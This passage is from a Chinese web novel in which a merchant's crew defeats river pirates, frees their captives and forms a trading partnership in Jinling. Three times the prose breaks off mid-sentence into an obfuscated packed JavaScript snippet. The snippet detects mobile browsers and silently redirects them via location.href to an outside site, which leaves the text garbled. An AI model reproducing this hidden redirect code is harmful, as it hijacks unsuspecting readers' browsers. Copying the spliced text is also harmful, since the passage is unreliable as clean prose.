不知为何,对谁都笑嘻嘻的曲宝总喜欢招惹这老实巴交的黝黑汉子。 22. 剿匪 烟花三月,青岱县冰雪消融,猫了一个冬日的种子纷纷发芽,春日暖阳洒在浅绿氤氲的大地上,呈现出一派生机。 曲家码头上,穿着统一春衫的工人们正往船上搬货,这些便是穆酒留给曲花间的兵士。 这些人皆是训练有素的精兵,即便脱下盔甲换上布衣,仍然昂首阔步,威风凛凛。引得附近田地里忙着春耕的农人频频侧目。 四十多个壮汉搬这点货,很快大船便提锚出发了。 曲花间昨日贪嘴,吃多了厨娘做的糯米流心糕,有些积食,本就腹中不适,此刻叫船这么一晃,更加不舒服了。 他蔫蔫儿的钻进自己的小房间,躺着不想动弹。 曲宝贴心的找来毯子给他搭上,悄声出去跟自家老爹道别。 时值初春,江面上偶有碎冰,但并不妨碍船行,船离了岸,又是顺流而下,行得极快。 曲宝只来得及给岸上送行的曲福等人挥了挥手,随即便见岸上的人影如蚂蚁般大小了。 行船的这些时日曲花间不怎么舒服,除了偶尔到甲板上吹吹风,便一直待在船舱里。 好在前几日还算平静,直到船行至青州,在清江与东江的交汇处,才碰上一波水匪。 去年走过一回,这波水匪在曲花间手里吃了亏,这一年里他们吞并了周边好几波小股流匪,规模已不同往日。 此时再遇,算是仇人相见,分外眼红。 水匪头子狞笑着摸了摸面门上一道横贯鼻梁的疤,这是去年对面船上镖师砍的。 他虽然不识字,但因着这道疤,那桅杆上绣着曲字的船旗早被他牢牢刻在心里。 他在这江面上蹲守了大半年,总算等到这一日,要教那船上领头的黄毛小儿拿命来偿! 曲花间看着急行而来的匪船,又扭头看了眼自家船上蓄势待发的船员,下意识提起来的心落了地。 今年的他已与去年的外强中干不同,手底下这些悍兵勇将,可不是那些只会胡乱劈砍的乌合之众能比的。 果然,曲花间才避回船舱一刻钟,外面兵刃相接的声音便停息了。 接着便是打扫战场的声音。 没一会儿,常征便敲门进来,“东家,死了十几个,叫我扔江里喂鱼去了,还有三十几□□的,问问您怎么处置?” 常征上过无数回战场,杀过的敌人不知凡几,是以说到死了十几个人时并不觉得有什么。 倒是坐在床边的小少爷,在听说死了这么些人时面露不适,但很快便被压下去了。 曲花间理了理心神,强迫自己不去想那些死人,毕竟对方是水匪,兵戈相向,不是你死便是我亡。 对敌人的仁慈太多余。 “咱们手下兄弟如何?可有人受伤?” “东家放心,我这几十号弟兄,可都是咱们将军亲自训练出来的,身经百战!就两个欠练的混小子擦破了点油皮儿。” 曲花间点点头,起身出门。 曲宝缀在他身后,拍拍小胸脯直呼:“真是多亏穆将军和常管事了,多谢多谢!” 想想去年那一趟,个中艰辛,简直无法对外人道。 这穆将军虽说为人木讷少话了些,但真真是善解人意的。 瞧瞧这些高大威武的船员,简直给足了曲宝安全感! 曲花间行至甲板上,便见幸存的水匪一溜的跪成两排,双手被反剪绑在身后,身上俱都深浅挂了彩。 水匪头子和几个厉害的小头目早已命丧黄泉,此刻尸体早不知被滚滚江水卷到哪里去了。 剩下的都是些小喽啰,见打头的都死了,便想开船逃走。 可惜那商船上的船员仿佛天兵天将转世似的,三下五除二便将他们的船夺了下来,嘴上还喊着“降者不杀!” 既如此,这些小喽啰自然是顺杆儿下,纷纷自觉伸出双手让对方绑了起来。 人是常征让绑的,但怎么处置得听曲花间的。 曲宝为了给曲花间撑排场,吭哧吭哧搬来一把太师椅,并一张小几,还像模像样的给倒了杯茶奉到自家少爷手里。 曲花间抿了口茶,冷眼看着面前这些水匪,思索片刻后道:“到下一个城镇时将他们扔到当地衙门门口,匪船咱们自己留下,修一修勉强也能用。” 那匪船只有曲家大船一半大,还破破烂烂的像是要散架一般。 好在船的主体结构并没有什么损伤,虽说要花一笔不小的修理费,但比起买新船,仍旧划算得很。 曲花间撇了一眼那艘破旧的匪船,若有所思,片刻后,扭头吩咐林茂带人将匪船搜刮了一番。 “东家,船上只有几袋粮食和十来件缺口的兵器,别的什么也没有。”林茂小声向曲花间汇报。 “这些水匪常年在这江面上打劫,不可能这么穷,怕是好东西都在老巢里……” 曲花间抿了口茶,点点头,又唤来常征,“找个胆子小的,问清楚水匪的老巢,然后和要交送官府的人分开关起来。” 常征闻言一怔,很快便明白了曲花间的意思,领命而去。 很快他便挑中了一个面黄肌瘦的青年,那人眼含绝望,却紧抿双唇,混在一群或告饶或挣扎的水匪里,显得十分平静。 常征见过太多沾过血气的人,一个人手上沾没沾人命,他一眼便能看出来。 他将这人拎出来,并没说什么,只提着他往外走。 青年被拽得一个趔趄,走路不稳当,几乎是被半拖拽出人群,他既没有挣扎,也没叫喊,只是眼底闪过一丝惊慌。 常征很快拎着人走到曲花间面前,厉声喝问,让那人说出水匪老巢所在。 可是青年的嘴却像是被缝上了一般,怎么也撬不开,哪怕是刀架在脖子上,他虽面有恐惧,却仍旧一言不发。 常征气不过,兵痞脾气一上来,忍不住一脚踹过去,把人踹得翻滚出去老远,那人吃痛,手又被反绑着,爬不起身,只能扭动着直抽气。 曲花间:“……不是让你找个胆子小的吗?你怎么挑了个骨头最硬的?” 常征有些尴尬,他摸脑袋,小声道:“东家有所不知,这小子一看就没杀过人,我就以为……” “东家放心!咱有的是办法让他开口,您放心吧!”常征嘿嘿一笑,拍胸脯保证。 曲花间长叹一口气,无奈起身,走到那人面前,蹲下身,温声道:“即便没杀过人,落到官府里照样是死罪,你若乖乖听话,我可以不把你交给官府,也能给你一条活路。” 少年生得面如冠玉,说话亦是温声细语,让人本能的相信他绝对不会骗人。 青年重重得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487873|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳嗽几下,吐出嘴里的血沫子,忍不住升起一丝希冀,“匪窝里也不一定都是坏人,当官的也不见得都是好人。” “我知道。”曲花间见他愿意开口,示意常征将人扶起来,这样脸贴地的姿势也不方便对话。 常征两步走过来,老鹰抓小鸡似的将人拎起来坐在地上,青年对这个暴力大汉有些畏惧,瑟缩着挪了挪屁股。 “寨子里能打的几乎都被你们抓住了,留在水寨里的,除了二当家和他的几个手下,剩下的人全是被掳来的。 你们如果愿意放了他们,我就给你们带路。” “你刚刚不肯说话,就是以为我们准备赶尽杀绝?” “难道不是吗?”青年嗤笑一声,看向曲花间。 “……对水匪,我确实是这个打算。” 青年闻言瞬间防备起来,一双眼睛瞪得极大。 “你也是被掳来的?” “是,凡是被水匪抓住,年纪大的和男人他们会就地杀死扔进江里,女人带回去给他们欺辱,小孩儿就卖给拐子换钱。” 青年名叫秦文,原本是江南某富商家的小公子,第一次跟随自家长姐出门经商,便被那群水匪劫掠了。 秦文的长姐生得貌美如花,被他们二当家看上,要让她做压寨夫人,为了保住弟弟一条命,不得不与水匪虚以委蛇。 “你们若是打算赶尽杀绝,便直接杀了我吧,长姐留在水寨,至少还能留下一条命,我绝不会给你们带路的!” 青年梗着脖子,紧闭双眼,若非那不停颤动的睫毛暴露了他,还真有几分视死如归的气魄。 “我都说了,我们只对水匪赶尽杀绝,顺便黑吃黑,将他们抢来的财物顺走,真没打算伤及无辜。”曲花间无奈解释。 “真的?”青年将信将疑地问。 “当然!” 曲花间笃定的语气感染了青年,他神色松动几分,“那等救出我姐姐,你能借我些盘缠吗?待我回到江南,必定十倍还你!” “可以,而且我们也打算下江南,甚至可以捎你一程。”曲花间循循善诱道。 “那就多谢你了,恩公!”青年彻底放下戒备,咧开嘴兴奋地笑起来,露出几颗傻乎乎的大白牙。 “……” “你家长辈,是不是地主啊?” 秦文当然不知道地主家的傻儿子这个梗,他腼腆一笑,谦虚道:“不算,不算,我们家田地不多,主要是做点小生意罢了。” 接下来的事情就十分顺利了,常征带着人伪装成水匪,由秦文带路,驾驶着匪船一路往水寨而去。 曲花间等人则遥遥缀在匪船后面,既不落下,也没有靠太近。 水寨坐落在江边一处支流交汇处,位置不算十分隐蔽。 为非作歹的匪徒将老巢如此光明正大地修建在这里,可见当地官府的不作为,甚至是纵容。 寨子里留守的水匪不多,常征等人干净利落的料理了负责看门的几人,悄悄潜入进去,没一会儿便发出信号示意曲花间将船开过去。 曲花间上了岸,发现留守的水匪一个活口都没剩下,那些水匪死状凄惨,身上大大小小的全是窟窿眼。 可怖的场面加上空气中浓烈的血腥味,曲宝率先忍不住,扭头“yue”的一声吐了出来。 23. 换乘 曲花间脸色煞白,尽力将视线挪开,“怎么回事?” 常征等人办事向来利落,不至于将场面弄得如此血腥。 “是那些女子……她们恨极了这些水匪,我们的人刚将人绑起来,她们就扑过来了。”常征抠了下脑袋,不知该怎么说。 这群女子不知是何年何月被掳掠到寨子里来的,但无一不是遭受了非人的折磨,此时发现折磨自己的人终于被抓起来了,自然都是奋起报复。 反正她们这些人都已经没了清白,即使离开这里,也活不了了,不如拉着这些人渣一同下地狱! 曲花间的视线落在那群女子身上,她们蜷缩在一起,一个个眼神空洞,面色苍白,对投在她们身上的视线毫无反应。 在她们旁边,秦文以保护姿态将一个面容姣好的女子护在身后,想来那便是他姐姐了。 秦文的姐姐看起来状态尚可,她从秦文身后绕过来,冲曲花间福身,声音婉转如黄莺:“多谢恩公出手相救,那些水匪手里不知沾染了多少鲜血,死不足惜,她们的家人大多丧命在水匪手上,俱都报仇心切,恳请恩公莫要见怪。” 曲花间点点头表示理解,随即吩咐常征等人将尸体就地掩埋,又让曲宝在寨子中寻来干净的衣物和吃食,分发给那些女子。 女子们身上几乎都沾染上不少血渍,一想到那是仇人的血,心中升起快意的同时又顿感恶心,纷纷躲进屋舍中将衣物换下。 秦文的姐姐名唤秦莺儿,她换好衣服略微整理了一下,便出门来再次向曲花间道谢。 “恩公,不知这些苦命的女子,您打算如何安排?”秦莺儿行商多年,比别的闺阁女子多了几分坚韧,此时并不自卑自艾,反而开始为一同遭难的女子们打算。 这些女子入了匪窝,早已失了清白,在这女子贞洁大过天的时代,即便被救出来,也是无处可去了。 “看她们自己怎么打算,若是愿意回家的,便打发些盘缠,顺路的话也可以跟我们一起走,若是无处可去,我也可暂时收留她们一段时日。” 说完,曲花间转眸看向秦莺儿,“或是秦小姐有所打算?” 秦莺儿点点头,“家中二老还算开明,想必不会嫌弃我曾委身于水匪,且家中生意皆由我经手,若这些女子愿意跟我回江南,可以为我家做工以养活自己。” “如此甚好。”曲花间闻言不经对秦莺儿多了几分好感,如此落落大方的女子,在封建社会可不多见。 且她父母能让其参与自家生意,想必也是开明良善之人。 经过一番交谈,秦氏姐弟自述她们家住金陵,家中产业涉猎广泛,是江南一带数得上号的大商户。 船上这批货本就打算销往江南,若是秦莺儿所言不虚,说不定可以与他们合作一番,曲花间暗忖。 心念微动间,面上却不动声色,“我与令弟有约定,若秦小姐没有其他打算的话,我会按照约定送你们回金陵。” 秦莺儿闻言自是没有意见,甚至暗暗松了口气,她们原先的船只早不知被水匪卖去何处了,随行的仆役打手也全都遇害,靠她们两个人四条腿,要想走回金陵,怕是还没出青州地界就小命不保了。 秦文一直听着自家姐姐和曲花间的对话,悄悄打量了一眼正在打扫战场的常征一眼,心底暗暗惊讶。 也不知道这姓曲的东家究竟是何背景,手底下的人各个孔武有力,面有血气,完全不像是普通商户人家能养出来的护院。 曲花间将秦氏姐弟的神情尽收眼底,大概能猜到二人心中所想,弯如新月的眉毛微挑,隐约有种狐假虎威的快感。 行伍出身的护卫们行动利落,打扫战场外加清理战利品没用多长时间,只是天边红云低悬,眼看就要天黑,只得原地休整一夜。 纵使匪窝刚死过人,又糟乱不堪,在船上待了好几天的曲花间还是忍着心中不适住进了临时搭建的帐篷里,比起心中不适,摇摇晃晃的船舱住着更让人身体难受。 倒是被救下来那些女子,全都选择待在船上过夜,哪怕只能在甲板上打地铺,她们也再不愿踏足这片让她们受尽欺辱的土地了。 如曲秦二人所料,这群女子共二十三人,全都选择了留下,没了清白的她们,已经是被洪水冲散的浮萍,无根,亦无依。 倒是让人意外的是,这二十三名女子,只有七八个愿意跟着秦莺儿回金陵,剩下的人皆表示要跟着曲花间,当牛做马以报恩情。 即便曲花间一再表示不必报恩,也没什么用。 毕竟他原本没想到救人这一茬,只不过是为了匪窝里的财物才顺带救了她们,最后却被这么多人当做救命恩人眼泪汪汪的盯着,让人莫名心虚。 不过如今他大小算是个地主了,多养十多个人倒也没什么压力,何况她们各个身体健全,能做的事情不少,等回了青岱便安排到各个适合女子的岗位,也能养活自己。 次日,修整了一夜的大船重新出发。 接下来的路程格外顺利,在临近的县城将那些水匪扔到衙门后,船只快速前进,不过六日,便抵达了广陵。 广陵位于徐州最南端,虽说物产丰茂,但当官的太贪,苛捐杂税众多,不适宜经商,曲花间并未在此处停留。 又往前走了几日穿过扬州,便入了常州地界。 东江在常州入海,想要再往南走,除了换走陆路,便只能交钱进入连接南北的常南运河。 常南运河以常州为始,横贯江南几州,连接长江、淮河等几大河流,是南方主要货运通道。 可不知为何,船行至河口,却被一排头尾相连,横亘在江面的官船拦住了。 此时河口聚集了不少商船,曲家两艘船来得较晚,堵在后面连常南运河的影子都看不到。 前面大大小小的商船进退不得,船上的人在舱里待不住,都聚集在甲板上看热闹。 曲花间让曲宝向临近的商船打听了一番,才得知其中缘由。 原是从上京来的某个不知名的贵人游江南,听闻常南运河两岸风景极佳,便要沿河游玩一番。 地方上当官的以恐冲撞了贵人船舫为由,便下令民船禁行一月。 “呵!”听完曲宝的汇报,曲花间嗤笑一声,靠坐在椅子上,面露嘲讽。 “东家,咱们干脆就在这把货卖了算了!我看这江上也挺热闹的,想必有不少有钱人。”常征双手撑在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487874|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船边,有气无力的看着码头上人头攒动。 谁能想到一条船上几十号人,就他一个人晕船啊? 这半个多月下来,除了剿匪那两日还算英勇,平日里他几乎是在船舱里躺过来的,但凡船身颠簸幅度大了些,他都能吐得昏天黑地。 手底下的人看他这副鬼样子,憋笑都要憋出内伤了。 “呕!……不行了,我得去岸上待会儿!” 常征说完,不等曲花间说话,便利索的跳下船,两米多的高度,哆嗦的双腿,他竟平稳落地,丝毫不见在船上时的狼狈。 “还是脚踏实地的感觉爽啊!船上真不是人待的!”常征跺跺脚,双手叉腰,豪迈的大笑两声。 见曲花间一直没出声,林茂走上前小心询问,“东家想继续南下?是想去苏州看看?” “你怎么知道?”被林茂猜中自己的心思,曲花间眼带笑意,转头看向他。 “上有天堂,下有苏杭,南方素来富庶,苏杭二州又是南方之最,咱们这批货都是金贵物什,自然是越富庶的地方越好卖。” 见林茂分析得头头是道,曲宝轻哼一声,“你以为少爷像你一样呢,表面看上去老实巴交,肚子里全是弯弯绕绕,我猜少爷想的是,来都来了,肯定要去苏州看看真正的江南风情呀!” 见曲宝一脸自信,曲花间忍不住笑出声,“还是曲宝懂我!” “是,宝管事自然是最懂东家心思的。”林茂抿着上扬的嘴角附和。 “那是!”曲宝手叉腰,昂首挺胸。 曲花间笑了笑,“不过去苏州之前,得先绕道金陵,将秦家姐弟送回去。” 走陆路需换乘车马,费事不少,好在附近便有城镇,甚至有别处的车马行得知运河禁行,赶着车马过来揽客的,林茂很快便租来一辆马车,并几辆带篷的牛车拉货。 和常征相反,曲花间坐船虽然有点不舒服,但尚能忍受,坐马车却有些难熬。 这时代没有光滑平整的水泥路,即便是刻意修整过的官道,也崎岖不平,时有坑凼。 木制车厢没有减震装置,轮子稍一闯动,坐在车里的曲花间便被颠得屁股离凳。 不过半日,曲花间便虚弱的躺倒在车厢里。 “少爷,想吐的话喝点水压一压吧。”曲宝心疼坏了,跪坐在曲花间身边替他轻揉腹部。 曲花间只感觉腰椎酸痛,腹中也翻江倒海,想吐却又吐不出来,这滋味难以言喻。 他有气无力的摆摆手,连开口说话的力气都没有。 “常管事,你赶车能不能平稳点,瞧把少爷颠得!” 曲宝心疼自家少爷,语气变得呛人,伸手重重把车帘一撩,没好气的呵斥一声。 常征此时鸟枪换炮,赶车赶得飞起,原本的车夫都被他撵去赶牛车了。 他探进头一看,见曲花间晕车比他晕船还严重,歉意的挠头,“不好意思啊东家!我悠着点儿!” “你可别悠着点儿了!让林茂来赶车吧,少爷经不住折腾了!”曲宝撅着嘴,狠狠瞪林茂两眼。 这家伙一点没眼力见儿没有,坐常征旁边也没说看着点儿!也不知少爷为什么这么看重他。 24. 秦家 马车换了林茂来赶,他为人稳重,车厢跟着平稳不少,曲花间缓了缓,总算没那么难受。 他打趣道:“原来我不是晕车,是晕常管事的车。” 常征闻言一乐,“对不住对不住,好不容易上岸,我太兴奋了。” 这点小插曲很快过去,一队车马晃晃悠悠走了三天,总算踏入金陵城。 作为江南几州最大的城池之一,即便这个世界金陵并没有六朝古都的历史,也不影响它的繁荣。 还没踏进城门,便已是一副热闹非凡的画面,城外摊贩聚集,行人来往如梭,曲家这长长的车队竟然奇异的堵起车来。 曲花间只得让车队往后退了一里地,让工人们寻了片空地搭起帐篷暂且落脚,只让常征点了七八个人护送秦氏姐弟和一众女子进城。 好不容易踏上家乡的土地,秦氏姐弟心中焦急,但还是故作平静等曲花间安排好后才提出回家的事。 一行人步行入城,进了城门才走了不到百米,就见一群人急匆匆的往这边奔来。 为首的是一对中年夫妻,曲花间还没看清来人相貌,便见身旁的秦氏姐弟眼眶泛红,秦莺儿更是朝来人飞扑过去,秦文紧随其后。 像乳燕归巢一般,两道身影扑分别进来人怀中,“爹!娘!女儿回来了!” 四人相拥哭做一团,中年夫妻的身份不言而喻。 想必是城门口有秦家的人,看见了自家少爷小姐归来,连忙回去通知了秦家父母。 那边秦家亲人重逢,曲花间等人也不打扰,静静的等在一旁。 过了好一会儿,秦家父母听完自家儿女一番遭遇后,得知眼前这位气质不俗的小公子正是儿女的救命恩人,连连道谢,秦母甚至当场就要给曲花间跪下,被他手忙脚乱的拦下了。 接着秦父客客气气的将曲家众人请至秦家,说是要好好招待恩人一番,让他万万不要推辞。 曲花间虽不知金陵城内布局,但见秦家附近的宅邸皆是高门大户,也能看出一二,秦莺儿所言不虚,秦家确实是豪商之家。 秦家府邸足足四进四出,是商人能拥有的最大规格,且坐落在秦淮河畔,与城内主大街一巷之隔,住在附近的人家也都是全金陵最有头有脸的人物。 进了秦府大门,便是曲折游廊,阶下石子漫成甬路,上面房舍宽阔,越过隐壁,院中种着大量名贵花木,院侧墙下开一缝隙,清泉至石缝中流出,沿着一条石沟汇入院子正中的鱼池之中。 这样精心打造的庭院,堪称一步一景,宛如画卷,可见主人家的财力非凡。 曲花间尚能目不斜视的跟着秦家父母的引领往内走,曲宝早已长大嘴巴一脸惊叹,一副刘姥姥进大观园的模样。 又想着不能给自家少爷丢人,他赶紧装出一本正经的样子,只是视线却仍好奇的四处打量。 入得客堂,众人刚一坐下,便有侍女鱼贯而入,奉上珍馐佳肴,摆了满满一桌。 饭桌上,秦家人对曲花间连连道谢,酒更是敬了一杯接一杯。 曲花间酒量一般,但常征和林茂却是海量,常征爽朗,林茂虽话少但心思活络,倒也替曲花间挡去不少酒。 再者说,秦家人也不好对恩人灌酒,只略劝几盏便罢,唯独秦文,心性单纯,见曲花间双颊泛红,眼神游离,知道他有些醉了,一句“我干了,您随意!”说了十几遍,一壶温酒很快便下了肚。 酒足饭饱,曲花间步伐未乱,曲宝却总感觉自家少爷醉的厉害,非要搀扶着他往客房走。 天色渐晚,一夜好眠。 在秦家一连待了三天,秦家姐弟的父亲秦蓝特意放下生意,给曲花间当了三天向导,将金陵好生逛了个遍。 得知曲花间欲往苏杭一带做生意,秦蓝连连自荐,在查看了一箱箱金贵的北方特产后,秦蓝更是热情,直言若是恩公信得过,可将货物交由秦家代为销售。 秦蓝表示秦家的生意遍布江南,与许多豪商巨贾都有来往,这些东西无不昂贵,自己找铺子散卖绝不会比直供富户更赚钱。 曲花间也没想到事情能如此顺利,且他根基不在南方,能有一个固定的合作伙伴确实省事很多。 两人很快确定了合作方式,因着儿女恩情所在,秦蓝拿出了极大的诚意,几乎愿意分文不取帮忙代卖。 “万万不可,生意讲究共赢,我这生意乃是长期的,若秦叔执意如此,我也不好一直占便宜,只好另外找人了。” 曲花间态度强硬,即便这次秦家因为恩情愿意白帮忙,但长此以往,再深的恩情也会被消磨殆尽,倒不如一开始就明算账。 如此双方推脱一番,最后定下了由秦家帮忙代售,抽取一成销售额为佣金的合作方案。 一成真要论起来也不算多,但货物和运输都由曲家负责,秦家只负责销售,且货物都十分贵价,算下来也是一笔不小的数目。 曲花间和秦蓝都十分满意的点点头。 因为是头一次交易,而且曲花间也要等货物卖出后再采购物资,便继续住在秦家。 秦蓝也不藏私,为曲花间引见了不少豪商,还讲了许多江南局势。 江南和北方不同,这里商人很多,虽说苛捐杂税重重,但实际南方商人的日子比北方商人好过得多。 因为南方世家林立,而商人几乎都是依托在世家之下,世家庇护商人,商人供养世家。 只要世家不倒,他们就能长长久久的做自己的生意,并不会发生像苟聪上门要贿赂和加税这种事情。 比如秦家,便是苏州四大世家之一秦家的旁系。 即便是旁系,也没在苏州发展,只要每年老老实实给本家上供,那在这江南一带便没人会主动为难他们。 江南一带的顶尖世家分别是苏州的章、陈、秦、楚和杭州的顾、王、李、林八大世家。 其余便是二流世家,三流四流和一些小型家族,可以说江南所有人都是以家庭为单位,组成一个个多如牛毛的大小团体。 而官府,则是由世家子们组成,官位几乎是世代承袭,若是有朝廷派来的外地官员,基本是待不满三年任期就会因为各种各样的意外下马。 在这样的情况下,相对于北方,江南一带竟然被对比成了一片净土,因为人人都有家族庇佑,所以日子过得都还不错。 但这个“人人”,是不包含佃户和奴隶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487875|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 南方是最推崇奴隶制的,在世家,哪怕是平民眼里,奴隶都是算不得人的,只是可以随意处置和买卖的财产。 佃户比奴隶稍微好一点点,他们不可以被买卖,但也依旧没什么人权,因为他们没有自己的财产,想要活下去,就只能被主家随意压榨。 主家会留下一部分收成让他们不至于被饿死,但也绝对不会让他们能有一点点积蓄来拥有财产。 毕竟佃户拥有了财产,还怎么会给周扒皮一样的主家当牛做马呢? 了解完江南局势后,曲花间竟说不好,究竟是被腐败朝廷统治的北方好,还是被各大世家掌控的南方好了。 只能庆幸自己穿越到了一个富庶之家,而不是奴隶或是佃户身上。 更庆幸的,应该是机缘巧合救下秦莺儿姐弟二人,才搭上了秦家这条线,如若不然,他一个外来商户,在这世家林立的南方怕是连胳膊腿都伸不开。 秦蓝秦莺儿即便是靠家族庇护,但本身也是长袖善舞,十分会做生意,仅仅七日,曲花间带来的货物便被卖得干干净净,甚至签下许多订单。 曲花间此次带来的货物除了穆酒送来的五车,还有去年他送的生辰礼,以及一些葡萄酒和火锅底料。 其中人参鹿茸等名贵药材和皮草是最为贵价的,足足卖了二十多万两。 而葡萄酒和火锅底料,秦蓝品尝过后惊为天人,一人便包圆了,自己留了一部分,给相熟人家送了些做人情,剩下的快马加鞭送去了苏州本家。 借由此,两家又谈成了合作火锅店的生意。 这些配方曲花间暂时不打算外传,但想在江南做生意,没有“本地户口”也十分不方便。 于是两家一拍即合,由秦家负责经营,又牵线帮曲花间买下地建作坊,曲花间则负责生产和提供葡萄酒和火锅底料。 作坊就建在金陵外城,房屋是现成的,只需要加高围墙防止窥视,又把房屋内部多余的墙体拆掉,作为一个个宽敞的车间即可。 南方不比北方荒凉,物资丰富,养殖户也多,原材料很好买。 除了葡萄酒厂和火锅底料厂,曲花间还准备把养猪场和肥皂厂也安排上,毕竟自产自销是降低成本的最好方法。 肥皂也被分了等级,除了普通清洁用的肥皂,曲花间还研究了许多款加了花汁或是药汁的香皂。 有各种香型的,也有加了草药汁祛痘的,还有加了珍珠粉美白的,当然,这些都是专供有钱人,价格不菲。 曲花间带的人多,改建厂房的工程很快,只是这些人都是他的武力储备,不可能留下来当工人。 请本地人来做工的话,又怕配方泄露,最后只得因地制宜,去牙行买了百来号奴隶。 曲花间让他们全部梳洗干净,换上统一的工作服,又承诺了月休两天和月薪两百文等福利,让这些奴隶听得云里雾里犹如做梦。 什么时候奴隶还能休息了?工钱?怎么可能,也不知道这位新主人在打什么主意,怕不是要哄着他们去做什么要命的事吧? 可是低头看着身上崭新舒适的新衣,和中午刚吃到的带肉腥的大锅饭,心中不由得升起一股希望。